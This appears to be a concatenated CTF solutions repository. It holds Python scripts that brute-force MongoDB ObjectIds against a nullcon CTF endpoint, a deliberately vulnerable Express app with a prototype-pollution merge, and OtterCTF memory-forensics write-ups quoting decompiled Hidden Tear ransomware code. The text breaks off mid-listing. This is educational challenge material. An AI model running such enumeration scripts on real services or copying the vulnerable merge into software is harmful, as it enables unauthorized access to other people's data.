xrange(0,256): 46 | plist[h] = b_space[i] 47 | assert len(plist) == 785 48 | new_profile = join_l(plist, '0x') 49 | current_max = get_proba(new_profile) 50 | if current_max > global_max: 51 | global_max = current_max 52 | which_byte[h] = b_space[i] 53 | if current_max > global_maxest: 54 | global_maxest = current_max 55 | 56 | 57 | print "Length should be 784 or 785"+str(len(which_byte)) 58 | print which_byte 59 | final_out = join_l(which_byte, '0x') 60 | #print "We got :"+str(global_max) 61 | print "Byte :"+final_out 62 | print get_proba(final_out) 63 | -------------------------------------------------------------------------------- /nullconctf2019/proton/brute_down.py: -------------------------------------------------------------------------------- 1 | from bson import ObjectId 2 | import datetime 3 | import requests 4 | 5 | api = "http://web6.ctf.nullcon.net:4545/getPOST?id=" 6 | r =requests.session() 7 | given="5c51b9c9144f813f31a4c0e2" 8 | timestamp = given[0:8] 9 | static = given[8:] 10 | change = static[-2:] 11 | static_again = static[:-2] 12 | 13 | # Only going downwards as of now 14 | idz = ['df','e0','e1','e2'] 15 | 16 | 17 | hr = 14 18 | minz = 45 19 | sec = 01 20 | counter=0 21 | 22 | for i in xrange(0,10000): 23 | if sec%60 == 0: 24 | sec=0 25 | minz+=1 26 | gen_time = gen_time=datetime.datetime(2019, 1, 30, hr, minz, sec) 27 | print gen_time 28 | dummy = ObjectId.from_datetime(gen_time) 29 | new_ts = str(dummy)[0:8] 30 | final = new_ts+static_again+idz[counter] 31 | r1 = r.get(api+final) 32 | print final 33 | if 'error' in r1.text: 34 | print "nope" 35 | sec=sec+1 36 | continue 37 | else: 38 | sec=sec+1 39 | print "[+] Found Note at"+final 40 | print r1.text 41 | counter=counter+1 42 | -------------------------------------------------------------------------------- /nullconctf2019/proton/brute_up.py: -------------------------------------------------------------------------------- 1 | from bson import ObjectId 2 | import datetime 3 | import requests 4 | 5 | api = "http://web6.ctf.nullcon.net:4545/getPOST?id=" 6 | r =requests.session() 7 | given="5c51b9c9144f813f31a4c0e2" 8 | timestamp = given[0:8] 9 | static = given[8:] 10 | change = static[-2:] 11 | static_again = static[:-2] 12 | 13 | # Only going upwords as of now 14 | idz = ['e2','e3','e4','e5','e6','e7','e8','e9','ea','eb','ec','ed','ee','ef'] 15 | 16 | hr = 14 17 | minz = 50 18 | sec = 47 19 | counter=0 20 | 21 | for i in xrange(0,10000): 22 | if sec%60 == 0: 23 | sec=0 24 | minz+=1 25 | if minz%60 and sec%60 == 0: 26 | minz=0 27 | hr+=1 28 | gen_time = gen_time=datetime.datetime(2019, 1, 30, hr, minz, sec) 29 | print gen_time 30 | dummy = ObjectId.from_datetime(gen_time) 31 | new_ts = str(dummy)[0:8] 32 | final = new_ts+static_again+idz[counter] 33 | r1 = r.get(api+final) 34 | if 'error' in r1.text: 35 | print "nope" 36 | sec=sec+1 37 | continue 38 | else: 39 | sec=sec+1 40 | print "[+] Found Note at"+final 41 | print r1.text 42 | counter=counter+1 43 | -------------------------------------------------------------------------------- /nullconctf2019/proton/stage2.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const express = require('express'); 4 | const bodyParser = require('body-parser') 5 | const cookieParser = require('cookie-parser'); 6 | const path = require('path'); 7 | 8 | 9 | const isObject = obj > obj && obj.constructor && obj.constructor === Object; 10 | 11 | function merge(a,b){ 12 | for (var attr in b){ 13 | if(isObject(a[attr]) && isObject(b[attr])){ 14 | merge(a[attr],b[attr]); 15 | } 16 | else{ 17 | a[attr] = b[attr]; 18 | } 19 | } 20 | return a 21 | } 22 | 23 | function clone(a){ 24 | return merge({},a); 25 | } 26 | 27 | // Constants 28 | const PORT = 8080; 29 | const HOST = '0.0.0.0'; 30 | const admin = {}; 31 | 32 | // App 33 | const app = express(); 34 | app.use(bodyParser.json()) 35 | app.use(cookieParser()); 36 | 37 | app.use('/', express.static(path.join(__dirname, 'views'))) 38 | 39 | app.post('/signup', (req, res) => { 40 | var body = JSON.parse(JSON.stringify(req.body)); 41 | var copybody = clone(body) 42 | if(copybody.name){ 43 | res.cookie('name', copybody.name).json({"done":"cookie set"}); 44 | } 45 | else{ 46 | res.json({"error":"cookie not set"}) 47 | } 48 | }); 49 | 50 | app.get('/getFlag', (req, res) => { 51 | 52 | 53 | var аdmin=JSON.parse(JSON.stringify(req.cookies)) 54 | 55 | if(admin.аdmin==1){ 56 | res.send("hackim19{}"); 57 | } 58 | else{ 59 | res.send("You are not authorized"); 60 | } 61 | 62 | 63 | }); 64 | 65 | 66 | app.listen(PORT, HOST); 67 | console.log(`Running on http://${HOST}:${PORT}`); 68 | -------------------------------------------------------------------------------- /otterctf-2018/README.md: -------------------------------------------------------------------------------- 1 | # Otter CTF 2018 2 | 3 | The number of writeups is directly proportional to the free time I have. So, it may not have all from what I solved. 4 | 5 | #### Tracks: 6 | [Memory Forensics](https://github.com/aadityapurani/My-CTF-Solutions/tree/master/otterctf-2018/memory-forensics) 7 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/Graphics-Is-For-Weak.md: -------------------------------------------------------------------------------- 1 | # Graphics is for the weak 2 | Point: 150 3 | 4 | # Solution: 5 | Recall the binary we dumped. We use dnspy to open it. We see the image later 6 | ##### Flag : CTF{S0_Just_M0v3_Socy} 7 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/HideAndSeek.md: -------------------------------------------------------------------------------- 1 | # Hide and Seek 2 | Points: 100 3 | 4 | ``` 5 | The reason that we took rick's PC memory dump is because there was a malware infection. Please find the malware process name (including the extension) 6 | 7 | BEAWARE! There are only 3 attempts to get the right flag! 8 | 9 | format: CTF{flag} 10 | ``` 11 | 12 | # Solution: 13 | 14 | Now, it boils down to finding the process and that too within 3 attempts. `pslist` would list down the process 15 | 16 | ``` 17 | python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pslist 18 | Volatility Foundation Volatility Framework 2.6 19 | Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit 20 | ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 21 | 0xfffffa8018d44740 System 4 0 95 411 ------ 0 2018-08-04 19:26:03 UTC+0000 22 | 0xfffffa801947e4d0 smss.exe 260 4 2 30 ------ 0 2018-08-04 19:26:03 UTC+0000 23 | 0xfffffa801a0c8380 csrss.exe 348 336 9 563 0 0 2018-08-04 19:26:10 UTC+0000 24 | 0xfffffa80198d3b30 csrss.exe 388 380 11 460 1 0 2018-08-04 19:26:11 UTC+0000 25 | 0xfffffa801a2ed060 wininit.exe 396 336 3 78 0 0 2018-08-04 19:26:11 UTC+0000 26 | 0xfffffa801aaf4060 winlogon.exe 432 380 3 113 1 0 2018-08-04 19:26:11 UTC+0000 27 | 0xfffffa801ab377c0 services.exe 492 396 11 242 0 0 2018-08-04 19:26:12 UTC+0000 28 | 0xfffffa801ab3f060 lsass.exe 500 396 7 610 0 0 2018-08-04 19:26:12 UTC+0000 29 | 0xfffffa801ab461a0 lsm.exe 508 396 10 148 0 0 2018-08-04 19:26:12 UTC+0000 30 | 0xfffffa8018e3c890 svchost.exe 604 492 11 376 0 0 2018-08-04 19:26:16 UTC+0000 31 | 0xfffffa801abbdb30 vmacthlp.exe 668 492 3 56 0 0 2018-08-04 19:26:16 UTC+0000 32 | 0xfffffa801abebb30 svchost.exe 712 492 8 301 0 0 2018-08-04 19:26:17 UTC+0000 33 | 0xfffffa801ac2e9e0 svchost.exe 808 492 22 508 0 0 2018-08-04 19:26:18 UTC+0000 34 | 0xfffffa801ac31b30 svchost.exe 844 492 17 396 0 0 2018-08-04 19:26:18 UTC+0000 35 | 0xfffffa801ac4db30 svchost.exe 868 492 45 1114 0 0 2018-08-04 19:26:18 UTC+0000 36 | 0xfffffa801ac753a0 audiodg.exe 960 808 7 151 0 0 2018-08-04 19:26:19 UTC+0000 37 | 0xfffffa801ac97060 svchost.exe 1012 492 12 554 0 0 2018-08-04 19:26:20 UTC+0000 38 | 0xfffffa801acd37e0 svchost.exe 620 492 19 415 0 0 2018-08-04 19:26:21 UTC+0000 39 | 0xfffffa801ad5ab30 spoolsv.exe 1120 492 14 346 0 0 2018-08-04 19:26:22 UTC+0000 40 | 0xfffffa801ad718a0 svchost.exe 1164 492 18 312 0 0 2018-08-04 19:26:23 UTC+0000 41 | 0xfffffa801ae0f630 VGAuthService. 1356 492 3 85 0 0 2018-08-04 19:26:25 UTC+0000 42 | 0xfffffa801ae92920 vmtoolsd.exe 1428 492 9 313 0 0 2018-08-04 19:26:27 UTC+0000 43 | 0xfffffa8019124b30 WmiPrvSE.exe 1800 604 9 222 0 0 2018-08-04 19:26:39 UTC+0000 44 | 0xfffffa801afe7800 svchost.exe 1948 492 6 96 0 0 2018-08-04 19:26:42 UTC+0000 45 | 0xfffffa801ae7f630 dllhost.exe 1324 492 15 207 0 0 2018-08-04 19:26:42 UTC+0000 46 | 0xfffffa801aff3b30 msdtc.exe 1436 492 14 155 0 0 2018-08-04 19:26:43 UTC+0000 47 | 0xfffffa801b112060 WmiPrvSE.exe 2136 604 12 324 0 0 2018-08-04 19:26:51 UTC+0000 48 | 0xfffffa801b1e9b30 taskhost.exe 2344 492 8 193 1 0 2018-08-04 19:26:57 UTC+0000 49 | 0xfffffa801b232060 sppsvc.exe 2500 492 4 149 0 0 2018-08-04 19:26:58 UTC+0000 50 | 0xfffffa801b1fab30 dwm.exe 2704 844 4 97 1 0 2018-08-04 19:27:04 UTC+0000 51 | 0xfffffa801b27e060 explorer.exe 2728 2696 33 854 1 0 2018-08-04 19:27:04 UTC+0000 52 | 0xfffffa801b1cdb30 vmtoolsd.exe 2804 2728 6 190 1 0 2018-08-04 19:27:06 UTC+0000 53 | 0xfffffa801b290b30 BitTorrent.exe 2836 2728 24 471 1 1 2018-08-04 19:27:07 UTC+0000 54 | 0xfffffa801b2f02e0 WebCompanion.e 2844 2728 0 -------- 1 0 2018-08-04 19:27:07 UTC+0000 2018-08-04 19:33:33 UTC+0000 55 | 0xfffffa801b3aab30 SearchIndexer. 3064 492 11 610 0 0 2018-08-04 19:27:14 UTC+0000 56 | 0xfffffa801b4a7b30 bittorrentie.e 2308 2836 15 337 1 1 2018-08-04 19:27:19 UTC+0000 57 | 0xfffffa801b4c9b30 bittorrentie.e 2624 2836 13 316 1 1 2018-08-04 19:27:21 UTC+0000 58 | 0xfffffa801b5cb740 LunarMS.exe 708 2728 18 346 1 1 2018-08-04 19:27:39 UTC+0000 59 | 0xfffffa801988c2d0 PresentationFo 724 492 6 148 0 0 2018-08-04 19:27:52 UTC+0000 60 | 0xfffffa801b603610 mscorsvw.exe 412 492 7 86 0 1 2018-08-04 19:28:42 UTC+0000 61 | 0xfffffa801a6af9f0 svchost.exe 164 492 12 147 0 0 2018-08-04 19:28:42 UTC+0000 62 | 0xfffffa801a6c2700 mscorsvw.exe 3124 492 7 77 0 0 2018-08-04 19:28:43 UTC+0000 63 | 0xfffffa801a6e4b30 svchost.exe 3196 492 14 352 0 0 2018-08-04 19:28:44 UTC+0000 64 | 0xfffffa801a4e3870 chrome.exe 4076 2728 44 1160 1 0 2018-08-04 19:29:30 UTC+0000 65 | 0xfffffa801a4eab30 chrome.exe 4084 4076 8 86 1 0 2018-08-04 19:29:30 UTC+0000 66 | 0xfffffa801a502b30 chrome.exe 576 4076 2 58 1 0 2018-08-04 19:29:31 UTC+0000 67 | 0xfffffa801a4f7b30 chrome.exe 1808 4076 13 229 1 0 2018-08-04 19:29:32 UTC+0000 68 | 0xfffffa801aa00a90 chrome.exe 3924 4076 16 228 1 0 2018-08-04 19:29:51 UTC+0000 69 | 0xfffffa801a7f98f0 chrome.exe 2748 4076 15 181 1 0 2018-08-04 19:31:15 UTC+0000 70 | 0xfffffa801b486b30 Rick And Morty 3820 2728 4 185 1 1 2018-08-04 19:32:55 UTC+0000 71 | 0xfffffa801a4c5b30 vmware-tray.ex 3720 3820 8 147 1 1 2018-08-04 19:33:02 UTC+0000 72 | 0xfffffa801b18f060 WebCompanionIn 3880 1484 15 522 0 1 2018-08-04 19:33:07 UTC+0000 73 | 0xfffffa801a635240 chrome.exe 3648 4076 16 207 1 0 2018-08-04 19:33:38 UTC+0000 74 | 0xfffffa801a5ef1f0 chrome.exe 1796 4076 15 170 1 0 2018-08-04 19:33:41 UTC+0000 75 | 0xfffffa801b08f060 sc.exe 3208 3880 0 -------- 0 0 2018-08-04 19:33:47 UTC+0000 2018-08-04 19:33:48 UTC+0000 76 | 0xfffffa801aeb6890 sc.exe 452 3880 0 -------- 0 0 2018-08-04 19:33:48 UTC+0000 2018-08-04 19:33:48 UTC+0000 77 | 0xfffffa801aa72b30 sc.exe 3504 3880 0 -------- 0 0 2018-08-04 19:33:48 UTC+0000 2018-08-04 19:33:48 UTC+0000 78 | 0xfffffa801ac01060 sc.exe 2028 3880 0 -------- 0 0 2018-08-04 19:33:49 UTC+0000 2018-08-04 19:34:03 UTC+0000 79 | 0xfffffa801aad1060 Lavasoft.WCAss 3496 492 14 473 0 0 2018-08-04 19:33:49 UTC+0000 80 | 0xfffffa801a6268b0 WebCompanion.e 3856 3880 15 386 0 1 2018-08-04 19:34:05 UTC+0000 81 | 0xfffffa801b1fd960 notepad.exe 3304 3132 2 79 1 0 2018-08-04 19:34:10 UTC+0000 82 | 0xfffffa801a572b30 cmd.exe 3916 1428 0 -------- 0 0 2018-08-04 19:34:22 UTC+0000 2018-08-04 19:34:22 UTC+0000 83 | 0xfffffa801a6643d0 conhost.exe 2420 348 0 30 0 0 2018-08-04 19:34:22 UTC+0000 2018-08-04 19:34:22 UTC+0000 84 | ``` 85 | 86 | A lot of processes. I narrowed done to unique process first. 87 | ``` 88 | notepad.exe 89 | command.exe 90 | conhost.exe 91 | svchost.exe 92 | LunarMS.exe 93 | BitTorrent.exe 94 | vmware-tray.exe 95 | sc.exe 96 | ..... 97 | ``` 98 | 99 | Now, we have to reduce the possibilities. You will never have reduction strategy without identifying which process is important. I used `pstree` next. 100 | 101 | ``` 102 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pstree 103 | Volatility Foundation Volatility Framework 2.6 104 | Name Pid PPid Thds Hnds Time 105 | -------------------------------------------------- ------ ------ ------ ------ ---- 106 | 0xfffffa801b27e060:explorer.exe 2728 2696 33 854 2018-08-04 19:27:04 UTC+0000 107 | . 0xfffffa801b486b30:Rick And Morty 3820 2728 4 185 2018-08-04 19:32:55 UTC+0000 108 | .. 0xfffffa801a4c5b30:vmware-tray.ex 3720 3820 8 147 2018-08-04 19:33:02 UTC+0000 109 | . 0xfffffa801b2f02e0:WebCompanion.e 2844 2728 0 ------ 2018-08-04 19:27:07 UTC+0000 110 | . 0xfffffa801a4e3870:chrome.exe 4076 2728 44 1160 2018-08-04 19:29:30 UTC+0000 111 | .. 0xfffffa801a4eab30:chrome.exe 4084 4076 8 86 2018-08-04 19:29:30 UTC+0000 112 | .. 0xfffffa801a5ef1f0:chrome.exe 1796 4076 15 170 2018-08-04 19:33:41 UTC+0000 113 | .. 0xfffffa801aa00a90:chrome.exe 3924 4076 16 228 2018-08-04 19:29:51 UTC+0000 114 | .. 0xfffffa801a635240:chrome.exe 3648 4076 16 207 2018-08-04 19:33:38 UTC+0000 115 | .. 0xfffffa801a502b30:chrome.exe 576 4076 2 58 2018-08-04 19:29:31 UTC+0000 116 | .. 0xfffffa801a4f7b30:chrome.exe 1808 4076 13 229 2018-08-04 19:29:32 UTC+0000 117 | .. 0xfffffa801a7f98f0:chrome.exe 2748 4076 15 181 2018-08-04 19:31:15 UTC+0000 118 | . 0xfffffa801b5cb740:LunarMS.exe 708 2728 18 346 2018-08-04 19:27:39 UTC+0000 119 | . 0xfffffa801b1cdb30:vmtoolsd.exe 2804 2728 6 190 2018-08-04 19:27:06 UTC+0000 120 | . 0xfffffa801b290b30:BitTorrent.exe 2836 2728 24 471 2018-08-04 19:27:07 UTC+0000 121 | .. 0xfffffa801b4c9b30:bittorrentie.e 2624 2836 13 316 2018-08-04 19:27:21 UTC+0000 122 | .. 0xfffffa801b4a7b30:bittorrentie.e 2308 2836 15 337 2018-08-04 19:27:19 UTC+0000 123 | 0xfffffa8018d44740:System 4 0 95 411 2018-08-04 19:26:03 UTC+0000 124 | . 0xfffffa801947e4d0:smss.exe 260 4 2 30 2018-08-04 19:26:03 UTC+0000 125 | 0xfffffa801a2ed060:wininit.exe 396 336 3 78 2018-08-04 19:26:11 UTC+0000 126 | . 0xfffffa801ab377c0:services.exe 492 396 11 242 2018-08-04 19:26:12 UTC+0000 127 | .. 0xfffffa801afe7800:svchost.exe 1948 492 6 96 2018-08-04 19:26:42 UTC+0000 128 | .. 0xfffffa801ae92920:vmtoolsd.exe 1428 492 9 313 2018-08-04 19:26:27 UTC+0000 129 | ... 0xfffffa801a572b30:cmd.exe 3916 1428 0 ------ 2018-08-04 19:34:22 UTC+0000 130 | .. 0xfffffa801ae0f630:VGAuthService. 1356 492 3 85 2018-08-04 19:26:25 UTC+0000 131 | .. 0xfffffa801abbdb30:vmacthlp.exe 668 492 3 56 2018-08-04 19:26:16 UTC+0000 132 | .. 0xfffffa801aad1060:Lavasoft.WCAss 3496 492 14 473 2018-08-04 19:33:49 UTC+0000 133 | .. 0xfffffa801a6af9f0:svchost.exe 164 492 12 147 2018-08-04 19:28:42 UTC+0000 134 | .. 0xfffffa801ac2e9e0:svchost.exe 808 492 22 508 2018-08-04 19:26:18 UTC+0000 135 | ... 0xfffffa801ac753a0:audiodg.exe 960 808 7 151 2018-08-04 19:26:19 UTC+0000 136 | .. 0xfffffa801ae7f630:dllhost.exe 1324 492 15 207 2018-08-04 19:26:42 UTC+0000 137 | .. 0xfffffa801a6c2700:mscorsvw.exe 3124 492 7 77 2018-08-04 19:28:43 UTC+0000 138 | .. 0xfffffa801b232060:sppsvc.exe 2500 492 4 149 2018-08-04 19:26:58 UTC+0000 139 | .. 0xfffffa801abebb30:svchost.exe 712 492 8 301 2018-08-04 19:26:17 UTC+0000 140 | .. 0xfffffa801ad718a0:svchost.exe 1164 492 18 312 2018-08-04 19:26:23 UTC+0000 141 | .. 0xfffffa801ac31b30:svchost.exe 844 492 17 396 2018-08-04 19:26:18 UTC+0000 142 | ... 0xfffffa801b1fab30:dwm.exe 2704 844 4 97 2018-08-04 19:27:04 UTC+0000 143 | .. 0xfffffa801988c2d0:PresentationFo 724 492 6 148 2018-08-04 19:27:52 UTC+0000 144 | .. 0xfffffa801b603610:mscorsvw.exe 412 492 7 86 2018-08-04 19:28:42 UTC+0000 145 | .. 0xfffffa8018e3c890:svchost.exe 604 492 11 376 2018-08-04 19:26:16 UTC+0000 146 | ... 0xfffffa8019124b30:WmiPrvSE.exe 1800 604 9 222 2018-08-04 19:26:39 UTC+0000 147 | ... 0xfffffa801b112060:WmiPrvSE.exe 2136 604 12 324 2018-08-04 19:26:51 UTC+0000 148 | .. 0xfffffa801ad5ab30:spoolsv.exe 1120 492 14 346 2018-08-04 19:26:22 UTC+0000 149 | .. 0xfffffa801ac4db30:svchost.exe 868 492 45 1114 2018-08-04 19:26:18 UTC+0000 150 | .. 0xfffffa801a6e4b30:svchost.exe 3196 492 14 352 2018-08-04 19:28:44 UTC+0000 151 | .. 0xfffffa801acd37e0:svchost.exe 620 492 19 415 2018-08-04 19:26:21 UTC+0000 152 | .. 0xfffffa801b1e9b30:taskhost.exe 2344 492 8 193 2018-08-04 19:26:57 UTC+0000 153 | .. 0xfffffa801ac97060:svchost.exe 1012 492 12 554 2018-08-04 19:26:20 UTC+0000 154 | .. 0xfffffa801b3aab30:SearchIndexer. 3064 492 11 610 2018-08-04 19:27:14 UTC+0000 155 | .. 0xfffffa801aff3b30:msdtc.exe 1436 492 14 155 2018-08-04 19:26:43 UTC+0000 156 | . 0xfffffa801ab3f060:lsass.exe 500 396 7 610 2018-08-04 19:26:12 UTC+0000 157 | . 0xfffffa801ab461a0:lsm.exe 508 396 10 148 2018-08-04 19:26:12 UTC+0000 158 | 0xfffffa801a0c8380:csrss.exe 348 336 9 563 2018-08-04 19:26:10 UTC+0000 159 | . 0xfffffa801a6643d0:conhost.exe 2420 348 0 30 2018-08-04 19:34:22 UTC+0000 160 | 0xfffffa80198d3b30:csrss.exe 388 380 11 460 2018-08-04 19:26:11 UTC+0000 161 | 0xfffffa801aaf4060:winlogon.exe 432 380 3 113 2018-08-04 19:26:11 UTC+0000 162 | 0xfffffa801b18f060:WebCompanionIn 3880 1484 15 522 2018-08-04 19:33:07 UTC+0000 163 | . 0xfffffa801aa72b30:sc.exe 3504 3880 0 ------ 2018-08-04 19:33:48 UTC+0000 164 | . 0xfffffa801aeb6890:sc.exe 452 3880 0 ------ 2018-08-04 19:33:48 UTC+0000 165 | . 0xfffffa801a6268b0:WebCompanion.e 3856 3880 15 386 2018-08-04 19:34:05 UTC+0000 166 | . 0xfffffa801b08f060:sc.exe 3208 3880 0 ------ 2018-08-04 19:33:47 UTC+0000 167 | . 0xfffffa801ac01060:sc.exe 2028 3880 0 ------ 2018-08-04 19:33:49 UTC+0000 168 | 0xfffffa801b1fd960:notepad.exe 3304 3132 2 79 2018-08-04 19:34:10 UTC+0000 169 | ``` 170 | 171 | I analyzed a lot more process. But, for the sake of writeup, we will jump on what stands out. 172 | 173 | ``` 174 | 0xfffffa801b486b30:Rick And Morty 3820 2728 4 185 2018-08-04 19:32:55 UTC+0000 175 | .. 0xfffffa801a4c5b30:vmware-tray.ex 3720 3820 8 147 2018-08-04 19:33:02 UTC+0000 176 | ``` 177 | 178 | This means, the process 3820 is spinning a child-process with pid 3720 whose parent process ppid is 3820. Strange, let's investigate 179 | 180 | ``` 181 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3820 182 | Volatility Foundation Volatility Framework 2.6 183 | ************************************************************************ 184 | Rick And Morty pid: 3820 185 | Command line : "C:\Torrents\Rick And Morty season 1 download.exe" 186 | 187 | 188 | Base Size LoadCount LoadTime Path 189 | ------------------ ------------------ ------------------ ------------------------------ ---- 190 | 0x0000000000400000 0x56000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Torrents\Rick And Morty season 1 download.exe 191 | 0x00000000776f0000 0x1a9000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll 192 | 0x0000000075210000 0x3f000 0x3 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64.dll 193 | 0x00000000751b0000 0x5c000 0x1 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64win.dll 194 | 0x00000000751a0000 0x8000 0x1 2018-08-04 19:32:55 UTC+0000 C:\Windows\SYSTEM32\wow64cpu.dll 195 | 0x0000000000400000 0x56000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Torrents\Rick And Morty season 1 download.exe 196 | ... omitted for brevity ... 197 | ``` 198 | 199 | Dawg, I told ya not to download exe's from Torrent. We can analyze vm-tray.exe now. 200 | 201 | ``` 202 | python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720 203 | Volatility Foundation Volatility Framework 2.6 204 | ************************************************************************ 205 | vmware-tray.ex pid: 3720 206 | Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe" 207 | 208 | 209 | Base Size LoadCount LoadTime Path 210 | ------------------ ------------------ ------------------ ------------------------------ ---- 211 | 0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe 212 | ... omitted for brevity ... 213 | ``` 214 | Interesting part is it is executing from a Temp folder, nice so the parent process executable acts as a dropper to the `vmware-tray.exe` which suspciously uses `dlls` which it should not use. 215 | I dumped the process executable and figured out it is indeed a ransomware. (Hidden Tear - spoilers) 216 | 217 | Hence, 218 | ##### Flag: CTF{vmware-tray.exe} 219 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/Name-Game-1.md: -------------------------------------------------------------------------------- 1 | # Name Game 1 2 | Points: 100 3 | 4 | Description: 5 | ``` 6 | We know that the account was logged in to a channel called Lunar-3. what is the account name? 7 | 8 | format: CTF{flag} 9 | ``` 10 | 11 | # Solution: 12 | 13 | If he is logged in under `Lundar-3` user, it must be present as a string inside the `vmem` file. We use our grepping skills thereafter to search regions near what we want to match 14 | 15 | ``` 16 | $ strings OtterCTF.vmem | grep Lunar-3 -A 2 -B 3 17 | disabled 18 | mouseOver 19 | keyFocused 20 | Lunar-3 21 | 0tt3r8r33z3 22 | Sound/UI.img/ 23 | -- 24 | c+Yt 25 | tb+Y4c+Y 26 | b+YLc+Y 27 | Lunar-3 28 | Lunar-4 29 | L(dNVxdNV 30 | ``` 31 | 32 | We can find out the odd string. 33 | 34 | ##### CTF{0tt3r8r33z3} 35 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/Playtime.md: -------------------------------------------------------------------------------- 1 | # Playtime 2 | Point: 50 3 | 4 | Description: 5 | ``` 6 | Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server? 7 | 8 | format: CTF{flag} 9 | ``` 10 | 11 | # Solution: 12 | Recall the `netscan` in the previous challenge. If you play game, one process will stand out `LunarMS`, IP's are not to it 13 | ##### CTF{LunarMS} 14 | ##### CTF{77.102.199.102} 15 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/README.md: -------------------------------------------------------------------------------- 1 | # Memory Forensics 2 | 3 | ### Problems: 4 | 5 | 1- [What's the password](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/Whats-the-password.md) 6 | 7 | 2- [General Info](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/General-Info.md) 8 | 9 | 3- [Play Time](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/Playtime.md) 10 | 11 | 4- [Name game](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/Name-Game-1.md) 12 | 13 | 5- Name game 2 14 | 15 | 6- [Silly rick](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/SillyRick.md) 16 | 17 | 7- [Hide n Seek](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/HideAndSeek.md) 18 | 19 | 8- Path 1 20 | 21 | 9- Path 2 22 | 23 | 10- [Bit 4 bit](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/bit-by-bit.md) 24 | 25 | 11- [Graphics](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/Graphics-Is-For-Weak.md) 26 | 27 | 12- [Recovery](https://github.com/aadityapurani/My-CTF-Solutions/blob/master/otterctf-2018/memory-forensics/Recovery.md) 28 | 29 | 13- Closure 30 | -------------------------------------------------------------------------------- /otterctf-2018/memory-forensics/Recovery.md: -------------------------------------------------------------------------------- 1 | # Recovery 2 | Point: 300 points 3 | 4 | ``` 5 | Rick got to have his files recovered! What is the random password used to encrypt the files? 6 | 7 | format: CTF{...} 8 | ``` 9 | 10 | # Solution: 11 | 12 | This is a great challenge. Just like real world malware analysis. For the sake of completeness, I wish to recap 13 | 14 | Process 3720 is the Malware 15 | 16 | ``` 17 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720 18 | Volatility Foundation Volatility Framework 2.6 19 | ************************************************************************ 20 | vmware-tray.ex pid: 3720 21 | Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe" 22 | 23 | 24 | Base Size LoadCount LoadTime Path 25 | ------------------ ------------------ ------------------ ------------------------------ ---- 26 | 0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe 27 | 0x00000000776f0000 0x1a9000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll 28 | 0x0000000075210000 0x3f000 0x3 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64.dll 29 | 0x00000000751b0000 0x5c000 0x1 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64win.dll 30 | 0x00000000751a0000 0x8000 0x1 2018-08-04 19:33:03 UTC+0000 C:\Windows\SYSTEM32\wow64cpu.dll 31 | 0x0000000000ec0000 0x6e000 0xffff 1970-01-01 00:00:00 UTC+0000 C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe 32 | ``` 33 | 34 | After that, we dump executable and next we dump process memory. A very beautiful thing in Memory forensics area. 35 | 36 | ``` 37 | $ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -D dump/ -p 3720 38 | ``` 39 | 40 | As it is memory dump, the uncertainity with the data increases exponentially. We got to reverse the bin more 41 | 42 | ```C 43 | public string CreatePassword(int length) 44 | { 45 | StringBuilder stringBuilder = new StringBuilder(); 46 | Random random = new Random(); 47 | while (0 < length--) 48 | { 49 | stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/".Length)]); 50 | } 51 | return stringBuilder.ToString(); 52 | } 53 | ``` 54 | `Random()` is used, with no recovery for seed. So, good 'ol days are no more. We know the regex 55 | `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/` 56 | 57 | We reverse it bit more, 58 | ``` 59 | public void startAction() 60 | { 61 | string password = this.CreatePassword(15); 62 | string str = "\\Desktop\\"; 63 | string location = this.userDir + this.userName + str; 64 | this.SendPassword(password); 65 | this.encryptDirectory(location, password); 66 | 